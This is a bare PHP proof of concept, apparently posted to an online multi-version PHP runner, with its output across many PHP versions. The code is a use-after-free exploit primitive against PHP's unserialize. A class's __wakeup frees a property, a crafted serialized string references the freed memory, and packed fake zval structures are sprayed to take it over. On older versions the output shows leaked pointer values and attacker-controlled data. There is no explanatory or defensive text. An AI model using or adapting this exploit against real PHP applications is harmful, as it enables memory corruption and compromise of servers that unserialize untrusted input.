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<?php class evilClass { public $name; function __wakeup() { unset($this->name); } } $fakezval = pack( 'IIII', 0x00100000, 0x00000400, 0x00000000, 0x00000006 ); $data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:4:"name";a:2:{i:0;i:1;i:1;i:2;}}i:1;R:4;}'); for($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data);
Output for 5.4.39 - 5.4.45, 5.5.23 - 5.5.38, 5.6.7 - 5.6.38, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.7
array(2) { [0]=> object(evilClass)#1 (0) { } [1]=> int(1) }
Output for 5.4.0 - 5.4.38, 5.5.0 - 5.5.22, 5.6.0 - 5.6.6
array(2) { [0]=> object(evilClass)#1 (0) { } [1]=> string(17) "3" }
Output for 5.3.0 - 5.3.29
array(2) { [0]=> object(evilClass)#1 (0) { } [1]=> string(17) "2" }
Output for 5.2.2 - 5.2.17
array(2) { [0]=> object(evilClass)#1 (0) { } [1]=> &int(4398047559680) }
Output for 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.1
array(2) { [0]=> object(evilClass)#1 (0) { } [1]=> string(17) "1" }
Output for 4.4.2 - 4.4.9
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/4RU61 on line 4
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.3.11, 4.4.0 - 4.4.1
Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/4RU61 on line 4
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' in /in/4RU61 on line 4
Process exited with code 255.

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